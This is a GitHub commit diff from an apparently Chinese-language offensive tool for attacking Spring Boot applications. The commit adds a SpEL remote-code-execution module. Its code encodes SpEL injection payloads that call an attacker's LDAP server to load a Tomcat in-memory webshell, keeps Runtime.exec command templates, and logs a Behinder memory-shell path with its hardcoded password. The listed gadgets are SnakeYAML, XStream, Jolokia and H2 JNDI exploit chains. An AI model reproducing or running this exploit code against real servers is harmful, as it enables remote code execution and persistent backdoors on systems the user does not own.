Skip to content
This repository was archived by the owner on Jul 25, 2024. It is now read-only.

Commit 0a505c7

Browse files
SummerSecSummerSec
committed
ADD SpELRCEEXP
1 parent 75d3e1c commit 0a505c7

File tree

5 files changed

+72
-24
lines changed

5 files changed

+72
-24
lines changed

‎src/main/java/com/drops/exp/SnakeYAMLRCEEXP.java‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -35,13 +35,13 @@ public boolean sendExp(String target, String vps, String EchoType, boolean versi
3535
if (re.isOk()){
3636
HttpResponse res = HTTPUtils.postRequestV1(url,"refresh");
3737
if (res.isOk()){
38-
this.mainController.execOutputArea.appendText(Utils.log(res.body()));
38+
// this.mainController.execOutputArea.appendText(Utils.log(res.body()));
3939
return true;
4040
}
4141
}
4242
}
4343
}else {
44-
this.mainController.execOutputArea.appendText(Utils.log("利用失败，请手动验证是否存在漏洞！"));
44+
// this.mainController.execOutputArea.appendText(Utils.log("利用失败，请手动验证是否存在漏洞！"));
4545
}
4646
}else {
4747
String url = URLUtil.getROOT(target);
@@ -51,14 +51,14 @@ public boolean sendExp(String target, String vps, String EchoType, boolean versi
5151
if (re.isOk()) {
5252
HttpResponse res = HTTPUtils.postRequestV2(url,"refresh");
5353
if (!res.isOk()){
54-
this.mainController.execOutputArea.appendText(Utils.log(res.body()));
54+
// this.mainController.execOutputArea.appendText(Utils.log(res.body()));
5555
return true;
5656
}
5757
}
5858
}
5959

6060
}else {
61-
this.mainController.execOutputArea.appendText(Utils.log("利用失败，请手动验证是否存在漏洞！"));
61+
// this.mainController.execOutputArea.appendText(Utils.log("利用失败，请手动验证是否存在漏洞！"));
6262

6363
}
6464
}

‎src/main/java/com/drops/exp/SpELRCEEXP.java‎

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package com.drops.exp;
2+
3+
import com.drops.utils.SpelUtils;
4+
5+
/**
6+
* @ClassName: SpELRCEEXP
7+
* @Description: TODO
8+
* @Author: Summer
9+
* @Date: 2021/8/23 16:09
10+
* @Version: v1.0.0
11+
* @Description:
12+
**/
13+
public class SpELRCEEXP {
14+
15+
public String SpELRCEEXP(String vps){
16+
String poc = "";
17+
String ldap = "ldap://" + vps + ":1389/basic/TomcatMemShell3";
18+
System.out.println(ldap);
19+
SpelUtils spelUtils = new SpelUtils();
20+
poc = spelUtils.SpelExpr(ldap);
21+
22+
return poc;
23+
}
24+
25+
public static void main(String[] args) {
26+
SpELRCEEXP spELRCEEXP = new SpELRCEEXP();
27+
spELRCEEXP.SpELRCEEXP("127.0.0.1");
28+
}
29+
}

‎src/main/java/com/drops/main/AttackService.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -93,7 +93,7 @@ public boolean gadgetSend(String target, String vps, String gadget, String echo)
9393
}
9494
}
9595
}catch (Exception e){
96-
this.mainController.logTextArea.appendText(Utils.log(e.getMessage()));
96+
return false;
9797
}
9898

9999
return false;

‎src/main/java/com/drops/ui/MainController.java‎

Lines changed: 18 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,7 @@
33
import com.drops.entity.ControllersFactory;
44
import com.drops.main.AttackService;
55
import com.drops.poc.SpringBootInfo;
6-
import com.drops.utils.HTTPUtils;
7-
import com.drops.utils.LDAPUtil;
8-
import com.drops.utils.URLUtil;
9-
import com.drops.utils.Utils;
6+
import com.drops.utils.*;
107
import javafx.beans.value.ChangeListener;
118
import javafx.beans.value.ObservableValue;
129
import javafx.collections.FXCollections;
@@ -114,7 +111,7 @@ private void initConnect() {
114111

115112

116113
private void initComBoBox() {
117-
ObservableList<String> gadgets = FXCollections.observableArrayList(new String[]{ "SnakeYAMLRCE", "EurekaXstreamRCE", "JolokiaLogbackRCE", "JolokiaRealmRCE", "H2DatabaseConsoleJNDIRCE"});
114+
ObservableList<String> gadgets = FXCollections.observableArrayList(new String[]{ "SnakeYAMLRCE", "SpELRCE", "EurekaXstreamRCE", "JolokiaLogbackRCE", "JolokiaRealmRCE", "H2DatabaseConsoleJNDIRCE"});
118115
this.gadgetOpt.setPromptText("SnakeYAMLRCE");
119116
this.gadgetOpt.setValue("SnakeYAMLRCE");
120117
this.gadgetOpt.setItems(gadgets);
@@ -269,17 +266,25 @@ public void crackSpcGadgetBtn(ActionEvent actionEvent) {
269266
}
270267

271268
if (!this.vps.getText().equals("") && !this.targetAddress.getText().equals("")){
272-
boolean flag = this.attackService.gadgetSend(this.targetAddress.getText(),
273-
this.vps.getText(),this.gadgetOpt.getValue(),"TomcatEcho");
274-
if(flag){
275-
if (HTTPUtils.getRequest(String.valueOf(this.targetAddress.getText()),"ateam").isOk()){
276-
this.logTextArea.appendText(Utils.log(" 冰蝎内存马注入成功 !"));
277-
this.logTextArea.appendText(Utils.log( " /ateam 密码：ateamnb"));
269+
if (this.gadgetOpt.getValue().equalsIgnoreCase("spelrce")){
270+
SpelUtils spel = new SpelUtils();
271+
String poc = spel.SpelExpr(this.vps.getText());
272+
this.logTextArea.appendText(Utils.log("Payload 食用方法示例：http://127.0.0.1:9091/article?id=Payload"));
273+
this.logTextArea.appendText(Utils.log("ldap://" + this.vps.getText() + ":1389/basic/TomcatMemShell3"));
274+
this.logTextArea.appendText(Utils.log(poc));
275+
}else {
276+
boolean flag = this.attackService.gadgetSend(this.targetAddress.getText(),
277+
this.vps.getText(),this.gadgetOpt.getValue(),"TomcatEcho");
278+
if(flag){
279+
if (HTTPUtils.getRequest(String.valueOf(this.targetAddress.getText()),"ateam").isOk()){
280+
this.logTextArea.appendText(Utils.log(" 冰蝎内存马注入成功 !"));
281+
this.logTextArea.appendText(Utils.log( " /ateam 密码：ateamnb"));
282+
}else {
283+
this.logTextArea.appendText(Utils.log("漏洞利用失败！\t"));
284+
}
278285
}else {
279286
this.logTextArea.appendText(Utils.log("漏洞利用失败！\t"));
280287
}
281-
}else {
282-
this.logTextArea.appendText(Utils.log("漏洞利用失败！\t"));
283288
}
284289
}
285290

‎src/main/java/com/drops/utils/SpelUtils.java‎

Lines changed: 20 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package com.drops.utils;
22

33
import cn.hutool.core.util.HexUtil;
4+
import com.sun.rowset.JdbcRowSetImpl;
45

56
/**
67
* @ClassName: SpelUtils
@@ -12,9 +13,14 @@
1213
**/
1314
public class SpelUtils {
1415
String Command = "calc";
15-
String result = "${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ ";
16+
String rmi = "ldap://127.0.0.1:1389/basic/TomcatMemShell3";
17+
18+
public String SpelExpr(String cmd){
19+
String result = "${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ ";
20+
String jndi = "${T(javax.naming.InitialContext().lookup(new String(new byte[]{ ";
21+
String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ ";
22+
1623

17-
public String SpelExpr(String cmd, String result){
1824
StringBuilder sb = new StringBuilder();
1925
char[] ch = cmd.toCharArray();
2026
for (int i=0 ; i<ch.length; i++){
@@ -24,14 +30,22 @@ public String SpelExpr(String cmd, String result){
2430
}
2531
}
2632

27-
result += sb.append(" }))}").toString();
28-
System.out.println(result);
29-
return result;
33+
// result += sb.append(" }))}").toString();
34+
// System.out.println(result);
35+
// return result;
36+
// jndi += sb.append(" })}").toString();
37+
// System.out.println(jndi);
38+
// return jndi;
39+
ldap += sb.append(" }))}").toString();
40+
System.out.println(ldap);
41+
return ldap;
42+
3043
}
3144

3245
public static void main(String[] args) {
3346
SpelUtils s = new SpelUtils();
34-
s.SpelExpr(s.Command, s.result);
47+
// s.SpelExpr(s.rmi);
48+
s.SpelExpr(s.rmi);
3549

3650
}
3751

0 commit comments

Comments
 (0)